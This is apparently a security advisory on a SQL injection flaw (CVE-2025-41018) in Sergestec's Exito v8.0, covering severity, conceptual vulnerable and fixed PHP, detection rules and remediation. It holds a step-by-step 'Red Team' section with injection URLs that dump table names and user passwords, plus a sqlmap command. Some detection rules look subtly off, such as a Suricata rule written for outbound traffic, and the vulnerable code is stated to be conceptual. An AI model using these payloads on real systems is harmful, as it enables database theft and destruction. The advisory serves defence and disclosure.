CVE-2025-41018

Executive Summary

CVE-2025-41018 is a critical SQL injection vulnerability discovered in Sergestec's Exito v8.0, a web application framework. The flaw resides in the /public.php endpoint, specifically within the cat parameter. An unauthenticated attacker can exploit this vulnerability to perform arbitrary SQL queries against the underlying database, leading to full data compromise including retrieval, creation, updating, and deletion of databases. This represents a complete loss of confidentiality, integrity, and availability for the affected system.

The vulnerability is publicly known with a description available, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but the technical simplicity of SQL injection makes it a high-priority target for automated scanners and opportunistic attackers.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP application (Exito v8.0) developed by Sergestec. Organizations using this software should treat it as a direct dependency risk and consider immediate isolation or replacement.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the description and impact, the following is a reasonable assessment:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the database are the same scope.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to create, update, delete data.
• Availability (A): High (H) – Ability to delete entire databases.

Estimated CVSS v3.1 Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote, unauthenticated access with full database control makes this a severe threat. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the cat parameter of the /public.php script. The application likely constructs a SQL query by directly concatenating user input from the cat parameter without proper sanitization or parameterized queries.

Example vulnerable PHP code (conceptual):

<?php
$cat = $_GET['cat'];
$query = "SELECT * FROM articles WHERE category = '$cat'";
$result = mysqli_query($conn, $query);
?>

An attacker can inject SQL commands by providing a crafted value for cat. For example:

/public.php?cat=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10--

This would allow the attacker to:

• Retrieve data: Use UNION SELECT to extract data from other tables.
• Create data: Use INSERT INTO statements.
• Update data: Use UPDATE statements.
• Delete data: Use DROP TABLE or DELETE statements.

The vulnerability is particularly dangerous because it allows full database manipulation, not just read access.

Vulnerable vs. Patched Code

Vulnerable Code (Exito v8.0):

<?php
// /public.php
$cat = $_GET['cat'];
$query = "SELECT * FROM articles WHERE category = '$cat'";
$result = mysqli_query($conn, $query);
?>

Patched Code (Hypothetical):

<?php
// /public.php
$cat = $_GET['cat'];
$stmt = $conn->prepare("SELECT * FROM articles WHERE category = ?");
$stmt->bind_param("s", $cat);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements with parameterized queries, which completely prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Exito v8.0 with /public.php accessible.
• Basic understanding of SQL injection.

Exploitation Steps:

1. Identify the vulnerable parameter:

   http://target.com/public.php?cat=1
   

2. Confirm SQL injection:

   http://target.com/public.php?cat=1'
   

   If an error is returned (e.g., MySQL syntax error), the parameter is injectable.

3. Determine number of columns:

   http://target.com/public.php?cat=1 ORDER BY 10--
   

   Increase the number until an error occurs to find the column count.

4. Extract database information:

   http://target.com/public.php?cat=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

   Replace with actual column count.

5. Extract table names:

   http://target.com/public.php?cat=1 UNION SELECT 1,table_name,3,4,5,6,7,8,9,10 FROM information_schema.tables--
   

6. Extract data from a specific table:

   http://target.com/public.php?cat=1 UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM users--
   

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/public.php?cat=1" --batch --dbs

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious patterns:

   • Look for requests to /public.php with cat parameter containing SQL keywords (UNION, SELECT, DROP, INSERT, UPDATE, DELETE, --, #, ').
   • Example log entry:

     192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "GET /public.php?cat=1%27%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10-- HTTP/1.1" 200 1234
     

2. Implement a Web Application Firewall (WAF) rule:

   • Block requests containing SQL injection patterns in the cat parameter.

3. Network-level detection:

   • Use Suricata rules (see Detection Engineering) to alert on SQL injection attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /public.php with cat parameter containing SQL injection payloads.
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Outbound database connections from the web server to unexpected IPs (if data exfiltration occurs).

File System IOCs:

• Modified or new files in the web root (e.g., webshells uploaded via INTO OUTFILE).
• Unexpected entries in database logs.

Log IOCs:

• Web server access logs showing repeated requests to /public.php with varying cat values.
• Database query logs showing anomalous queries (e.g., UNION SELECT, INFORMATION_SCHEMA queries).

Detection Engineering

YARA Rule

rule Detect_SQLi_CVE_2025_41018 {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-41018 in Exito v8.0"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-41018"
    strings:
        $s1 = "/public.php?cat="
        $s2 = "UNION"
        $s3 = "SELECT"
        $s4 = "DROP"
        $s5 = "INSERT"
        $s6 = "UPDATE"
        $s7 = "DELETE"
        $s8 = "' OR '1'='1"
        $s9 = "1=1--"
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6, $s7, $s8, $s9)
}

Sigma Rule

title: SQL Injection Attempt Against Exito v8.0 /public.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the 'cat' parameter in /public.php
author: Valters IT
date: 2025/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41018
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "/public.php?cat="
        cs-uri-query|contains|all:
            - "'"
            - "OR"
            - "1=1"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in category names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-41018 SQL Injection Attempt - Exito v8.0 /public.php";
    flow:to_server,established;
    content:"/public.php"; http_uri;
    content:"cat="; http_uri;
    pcre:"/(\bUNION\b|\bSELECT\b|\bDROP\b|\bINSERT\b|\bUPDATE\b|\bDELETE\b|' OR '1'='1|1=1--)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system: Disconnect the Exito v8.0 server from the network if possible.
2. Apply virtual patching: Use a WAF to block SQL injection patterns in the cat parameter.
3. Restrict database permissions: Ensure the database user used by the application has minimal privileges (e.g., no DROP, CREATE, ALTER).

Long-term Fixes:

1. Upgrade to a patched version: Contact Sergestec for an official patch or migrate to a different, actively maintained solution.
2. Code remediation: Replace all dynamic SQL queries with prepared statements or parameterized queries.
3. Input validation: Implement strict input validation for the cat parameter (e.g., only allow alphanumeric characters and hyphens).
4. Regular security audits: Conduct code reviews and penetration testing.

Workaround:

• If patching is not possible, disable the /public.php endpoint or restrict access to it via .htaccess or firewall rules.

Valters IT
Securing Digital Frontiers